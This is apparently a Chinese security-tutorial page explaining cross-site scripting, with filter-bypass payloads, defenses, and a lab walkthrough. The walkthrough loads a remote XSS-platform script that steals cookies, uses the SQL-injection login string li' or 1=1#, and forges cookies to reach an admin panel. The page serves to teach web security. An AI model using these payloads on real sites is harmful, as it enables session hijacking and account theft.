渗透测试漏洞原理之---【XSS 跨站脚本攻击】

文章目录

  • 1、跨站 脚本攻击
      • 1.1、漏洞描述
      • 1.2、漏洞原理
      • 1.3、漏洞危害
      • 1.4、漏洞验证
      • 1.5、漏洞分类
        • 1.5.1、反射性XSS
        • 1.5.2、存储型XSS
        • 1.5.3、DOM型XSS
  • 2、XSS攻防
      • 2.1、XSS构造
        • 2.1.1、利用<>
        • 2.1.2、JavaScript伪协议
        • 2.1.3、时间响应
      • 2.2、XSS变形方式
        • 2.2.1、大小写转换
        • 2.2.2、关键字双写
        • 2.2.3、对伪协议进行转码
        • 2.2.4、插入其他编码
        • 2.2.5、引号的使用
        • 2.2.6、/ 代替空格
        • 2.2.7、拆分跨站
      • 2.3、XSS的防御
        • 2.3.1、输入过滤
        • 2.3.2、输出编码
        • 2.3.3、黑白名单策略
        • 2.3.4、防御DOM型XSS
        • 2.3.5、测试代码
  • 3、XSS攻防案例
      • 3.1、固定会话
      • 3.2、XSS 平台
      • 3.3、窃取
      • 3.4、欺骗
      • 3.5、影响
      • 3.6、防御

1、跨站 脚本攻击

1.1、漏洞描述

跨站点脚本(Cross Site Scripting, XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web 应用程序中执行恶意脚本。当web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。

跨站脚本攻击,XSS (Cross Site Scripting)。由于与CSS (Cascading Style Sheet) 重名,所以就更名为XSS。
XSS 作为OWASP TOP 10(2017)内容之一,主要使用JavaSript 来完成恶意攻击的行为,JS 可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS 攻击“想象”空间非常大。也就是说,JS 强大的灵活性和功能,为XSS 攻击提供了非常广阔的攻击面。

1.2、漏洞原理

XSS 通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。整个XSS 攻击过程,涉及三个角色:

服务器
攻击者
客户端浏览器用户(前端)

image-20230826185654661

搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险。
等待受害者访问被注入恶意代码的页面,很被动,盲打。
XSS 攻击目标是客户端浏览器用户,由于浏览器的类别不同,攻击效果不同,甚至于同一款浏览器,攻击效果都不一样。

1.3、漏洞危害

  • XSS 是利用JS 代码实现攻击,有很多危害:
  • 盗取各种用户账号;
  • 窃取用户Cookie 资料,冒充用户身份进入网站;
  • 劫持用户会话执行任意操作;
  • 刷流量,执行弹窗广告;
  • 传播蠕虫病毒
  • 。。。。。。

1.4、漏洞验证

可以使用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做POC(Proof of Concept)。验证XSS 漏洞存在的POC 如下:

<script>alert(/xss/);</script>
<script>confirm(/xss/);</script>
<script>confirm('xss');</script>
<script>prompt('xss');</script>

1.5、漏洞分类

  • 反射性
  • 存储型
  • DOM型

1.5.1、反射性XSS

非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中,例如搜索框的反射型XSS。

注意到,反射型XSS 代码出现在keywords 参数中。

http://127.0.0.1/cms/search.php?
keywords=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&button=%E6%90%9C%E7%B4%A2

容易被发现,利用难度高,很多漏洞提交平台不收反射型XSS 漏洞。

1.5.2、存储型XSS

持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。

危害面比较广,漏洞提交平台会接收此类漏洞。

1.5.3、DOM型XSS

DOM 型XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行,并不会将payload 上传到服务器,这也使得DOM 型XSS 比较难以检测。

注意:

  • 修改DOM 树执行;
  • 采用# 号的方式,参数不会提交到服务器。

2、XSS攻防

2.1、XSS构造

2.1.1、利用<>

<img src = https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2866847033,2297252904&fm=26&gp=0.jpg>
<script>alert(/xss/)</script>

2.1.2、JavaScript伪协议

可以通过URL 载入资源的标签

伪协议不同于因特网上所真实存在的协议,如http://https://ftp://

而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:

我们可以在浏览地址栏里输入"javascript:alert('XSS');",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

<a href = javascript:alert(/xss/) >click me!</a>
<img src = "javascript:alert(/xss/)"> <!-- IE6 -->

XSS 攻击的是浏览器,受前端影响比较大。浏览器的类型,版本等因素都会影响XSS 的效果。

2.1.3、时间响应

Cross-site scripting (XSS) cheat sheet

事件类型说明
Keyboard 事件键盘事件
Mouse 事件鼠标事件
Media 事件由多媒体触发的事件
Form 事件HTML 表单内触发的事件
window 事件对window 对象触发的事件
<img src = '#' onmouseover = 'alert(/dont touch me!/)'><input type = 'text' onkeydown = 'alert(/xss/)'><input type = 'text' onkeyup = 'alert(/xss/)'><svg onload='alert(/xss/)'><input onfocus=alert(/xss/) autofocus

2.2、XSS变形方式

cms 网站搜索框存在反射性XSS 漏洞,POC 如下:

<script>alert(/xss/)</script>

image-20230826191143782

尝试在代码角度,对XSS 漏洞进行修复:修改 /cms/search.php 文件,对$_GET['keywords']进行过滤,代码如下:

$keyword = $_GET['keywords'];
// $keyword = str_replace("<script>", "", $keyword);
// $keyword = preg_replace("/<script>/i", "", $keyword);
$keyword = preg_replace("/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", $keyword);
// $keyword = str_replace("on", "o_n", $keyword);
$keyword = preg_replace("/on/i", "o_n", $keyword);
// $keyword = str_replace("<", "", $keyword);
// $keyword = str_replace(">", "", $keyword);
$keyword = htmlspecialchars($keyword);
echo $keyword;

2.2.1、大小写转换

浏览器对HTML 标签大小写不敏感。

<ScRiPt>alert(/xss/)</script>
<img ONerror = 'alert(/xss/)' src = "#"

2.2.2、关键字双写

绕过一次过滤

<scr<script>ipt>alert(/xss/)</script

2.2.3、对伪协议进行转码

HTML 编码:

字母ASCII码十进制编码十六进制编码
a97&#97;&#x61;
c99&#99;&#x63;
e101&#101;&#x65;
<a
href = '&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/xss/) 
>demo</a>

其他编码:

  • utf-8 编码
  • utf-7 编码

2.2.4、插入其他编码

可以将以下字符插入到任意位置

字符编码
Tab&#9;
换行&#10;
回车&#13;
<a href = 'j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>

将以下字符插入到头部位置

字符编码
SOH&#01;
STX&#02;
<a href = '&#01;&#02;j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>

2.2.5、引号的使用

HTML 语言对引号的使用要求不严格

  • 没有引号
  • 单引号
  • 双引号
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">

2.2.6、/ 代替空格

<Img/sRc='#'/OnErRoR='alert(/xss/)'>

2.2.7、拆分跨站

将一段JS 代码拆成多段。

<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script><script>eval(alert(/xss/))</script>

2.3、XSS的防御

XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果

2.3.1、输入过滤

永远不要相信用户的输入。

1、输入验证:对用户提交的信息进行“有效性”验证。

  • 仅接受指定长度;

  • 仅包含合法字符;

  • 仅接收指定范围;

  • 特殊的格式,例如,email、IP 地址。

2、数据清洗:过滤或净化掉有害的输入

<?php
// echo $_GET['keywords'];$keywords = $_GET['keywords'];
$keywords = strtolower($keywords);
$keywords = str_replace("on", "", $keywords);
$keywords = str_replace("<script>", "", $keywords);
$keywords = str_replace("<", "", $keywords);
$keywords = str_replace(">", "", $keywords); echo $keywords;
?>

2.3.2、输出编码

HTML 编码是HTML 实体编码。

$keywords = htmlspecialchars( $_GET[ 'keywords' ] );

PHP htmlspecialchars() 函数

2.3.3、黑白名单策略

不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容
  • 白名单:允许的内容

2.3.4、防御DOM型XSS

避免客户端文档重写,重定向或其他敏感操作

2.3.5、测试代码

<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

3、XSS攻防案例

3.1、固定会话

用户会话令牌利用Cookie 来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。可以利用XSS 攻击窃取到浏览器里的Cookie 信息。

由于XXS 触发需要浏览器客户端用户(受害者)参与,攻击者不清楚何时何地会触发漏洞,这个过程一般被成为XSS 盲打。

3.2、XSS 平台

https://xss.pt/

image-20230826192625919

image-20230826192647445

image-20230826192711317

image-20230826192859117

3.3、窃取

从XSS平台里复制一段代码

<sCRiPt sRC=//0x.ax/Z2mua2></sCrIpT>

image-20230826193143382

image-20230826193151630

利用==万能用户名==的方式进入后台管理员界面,密码随意输入

li' or 1=1#

image-20230826193245925

image-20230826193307606

可以看到留言的消息

image-20230826193336199

然后去XSS平台上看看有没有窃取的Cookie信息

image-20230826193438840

cookie : username=li%27 or 1%3D1%23; userid=1

3.4、欺骗

来到登录界面,F12打开控制台

image-20230826193611677

document.cookie="userid=1" 
document.cookie="username=li%27 or 1%3D1%23" 

访问cms的admin目录

http://192.168.80.139/cms/admin/

成功利用Cookie欺骗进行登录

image-20230826193726725

3.5、影响

  • 黑客可以利用Cookie 信息,也就是身份凭据,登录后台;
  • 即使管理员注销登录,会话依然有效;
  • 即使管理员修改了密码,会话依然有效。

3.6、防御

  • 根据实际情况采用“单点登录”;
  • 采用Session 机制;
  • 设置token 值;
  • 对Cookie 数据,设置HttpOnly 属性;

DVWA靶场XSS练习
Pikachu靶场XSS练习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/115611.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【c语言】结构体内存对齐,位段,枚举,联合

之前学完结构体&#xff0c;有没有对结构体的大小会很疑惑呢&#xff1f;&#xff1f;其实结构体在内存中存储时会存在内存对齐&#xff0c;捎带讲讲位段&#xff0c;枚举&#xff0c;和联合&#xff0c;跟着小张一起学习吧 结构体内存对齐 结构体的对齐规则: 第一个成员在与结…

计算机视觉-LeNet

目录 LeNet LeNet在手写数字识别上的应用 LeNet在眼疾识别数据集iChallenge-PM上的应用 LeNet LeNet是最早的卷积神经网络之一。1998年&#xff0c;Yann LeCun第一次将LeNet卷积神经网络应用到图像分类上&#xff0c;在手写数字识别任务中取得了巨大成功。LeNet通过连续使用…

Dubbo 应用切换 ZooKeeper 注册中心实例,流量无损迁移

首先思考一个问题&#xff1a;如果 Dubbo 应用使用 ZooKeeper 作为注册中心&#xff0c;现在需要切换到新的 ZooKeeper 实例&#xff0c;如何做到流量无损&#xff1f; 本文提供解决这个问题的一种方案。 场景 有两个基于 Dubbo 的微服务应用&#xff0c;一个是服务提供者&…

CXL 内存交织(Memory Interleaving)

&#x1f525;点击查看精选 CXL 系列文章&#x1f525; &#x1f525;点击进入【芯片设计验证】社区&#xff0c;查看更多精彩内容&#x1f525; &#x1f4e2; 声明&#xff1a; &#x1f96d; 作者主页&#xff1a;【MangoPapa的CSDN主页】。⚠️ 本文首发于CSDN&#xff0c…

Java 读取TIFF JPEG GIF PNG PDF

Java 读取TIFF JPEG GIF PNG PDF 本文解决方法基于开源 tesseract 下载适合自己系统版本的tesseract &#xff0c;官网链接&#xff1a;https://digi.bib.uni-mannheim.de/tesseract/ 2. 下载之后安装&#xff0c;安装的时候选择选择语言包&#xff0c;我选择了中文和英文 3.…

恒运资本:股票跌100%后怎么办?

在股票市场里&#xff0c;股票价格跌涨是日常的现象&#xff0c;有时候涨到令人惊喜&#xff0c;有时候却一路跌向谷底。股价跌到零的情况并不常见&#xff0c;可是&#xff0c;假如是跌了100%怎么办呢&#xff1f; 在探究该问题前&#xff0c;咱们需要了解股票跌100%是怎样的…

微服务之Nacos

1 版本说明 官网地址&#xff1a; https://github.com/alibaba/spring-cloud-alibaba/wiki/%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E 1.1 2021.x 分支 适配 SpringBoot 2.4, Spring Cloud 2021.x 版本及以上的Spring Cloud Alibaba 版本如下表&#xff08;最新版本用*标记&am…

腾讯音乐如何基于大模型 + OLAP 构建智能数据服务平台

本文导读&#xff1a; 当前&#xff0c;大语言模型的应用正在全球范围内引发新一轮的技术革命与商业浪潮。腾讯音乐作为中国领先在线音乐娱乐平台&#xff0c;利用庞大用户群与多元场景的优势&#xff0c;持续探索大模型赛道的多元应用。本文将详细介绍腾讯音乐如何基于 Apach…

LeetCode-455-分发饼干-贪心算法

题目描述&#xff1a; 假设你是一位很棒的家长&#xff0c;想要给你的孩子们一些小饼干。但是&#xff0c;每个孩子最多只能给一块饼干。 对每个孩子 i&#xff0c;都有一个胃口值 g[i]&#xff0c;这是能让孩子们满足胃口的饼干的最小尺寸&#xff1b;并且每块饼干 j&#xff…

企业级数据共享规模化模式

数据共享正在成为企业数据战略的重要元素。对于公司而言&#xff0c;Amazon Data Exchange 这样的亚马逊云科技服务提供了与其他公司共享增值数据或从这些数据获利的途径。一些企业希望有一个数据共享平台&#xff0c;他们可以在该平台上建立协作和战略方法&#xff0c;在封闭、…

联邦学习FedAvg-基于去中心化数据的深度网络高效通信学习

随着计算机算力的提升&#xff0c;机器学习作为海量数据的分析处理技术&#xff0c;已经广泛服务于人类社会。 然而&#xff0c;机器学习技术的发展过程中面临两大挑战&#xff1a;一是数据安全难以得到保障&#xff0c;隐私泄露问题亟待解决&#xff1b;二是网络安全隔离和行业…

使用飞桨实现的第一个AI项目——波士顿的房价预测

part1.首先引入相应的函数库: 值得说明的地方&#xff1a; &#xff08;1&#xff09;首先&#xff0c;numpy是一个python库&#xff0c;主要用于提供线性代数中的矩阵或者多维数组的运算函数&#xff0c;利用import numpy as np引入numpy&#xff0c;并将np作为它的别名 part…

linux字符串处理

目录 1. C 截取字符串,截取两个子串中间的字符串linux串口AT指令 2. 获取该字符串后面的字符串用 strstr() 函数查找需要提取的特定字符串&#xff0c;然后通过指针运算获取该字符串后面的字符串用 strtok() 函数分割字符串&#xff0c;找到需要提取的特定字符串后&#xff0c;…

如何在小程序中给会员设置备注

给会员设置备注是一项非常有用的功能&#xff0c;它可以帮助商家更好地管理和了解自己的会员。下面是一个简单的教程&#xff0c;告诉商家如何在小程序中给会员设置备注。 1. 找到指定的会员卡。在管理员后台->会员管理处&#xff0c;找到需要设置备注的会员卡。也支持对会…

宠物赛道,用AI定制宠物头像搞钱项目教程

今天给大家介绍一个非常有趣&#xff0c;而粉丝价值又极高&#xff0c;用AI去定制宠物头像或合照的AI项目。 接触过宠物行业应该知道&#xff0c;获取1位铲屎官到私域&#xff0c;这类用户的价值是极高的&#xff0c;一个宠物粉&#xff0c;是连铲个屎都要花钱的&#xff0c;每…

USRP 简介,对于NI软件无线电你所需要了解的一切

什么是 USRP 通用软件无线电外设( USRP ) 是由 Ettus Research 及其母公司National Instruments设计和销售的一系列软件定义无线电。USRP 产品系列由Matt Ettus领导的团队开发&#xff0c;被研究实验室、大学和业余爱好者广泛使用。 大多数 USRP 通过以太网线连接到主机&…

本地部署 Stable Diffusion(Mac 系统)

在 Mac 系统本地部署 Stable Diffusion 与在 Windows 系统下本地部署的方法本质上是差不多的。 一、安装 Homebrew Homebrew 是一个流行的 macOS &#xff08;或 Linux&#xff09;软件包管理器&#xff0c;用于自动下载、编译和安装各种命令行工具和应用程序。有关说明请访问官…

【分享】PDF如何拆分成2个或多个文件呢?

当我们需要把一个多页的PDF文件拆分成2个或多个独立的PDF文件&#xff0c;可以怎么操作呢&#xff1f;这种情况需要使用相关工具&#xff0c;下面小编就来分享两个常用的工具。 1. PDF编辑器 PDF编辑器不仅可以用来编辑PDF文件&#xff0c;还具备多种功能&#xff0c;拆分PDF文…

GPT-4.0技术大比拼:New Bing与ChatGPT,哪个更适合你

随着GPT-4.0技术的普及和发展&#xff0c;越来越多的平台开始将其应用于各种场景。New Bing已经成功接入GPT-4.0&#xff0c;并将其融入搜索和问答等功能。同样&#xff0c;在ChatGPT官网上&#xff0c;用户只需开通Plus账号&#xff0c;即可体验到GPT-4.0带来的智能交流和信息…

使用flink sqlserver cdc 同步数据到StarRocks

前沿&#xff1a; flink cdc功能越发强大&#xff0c;支持的数据源也越多&#xff0c;本篇介绍使用flink cdc实现&#xff1a; sqlserver-》&#xff08;using flink cdc&#xff09;-〉flink -》&#xff08;using flink starrocks connector&#xff09;-〉starrocks整个流程…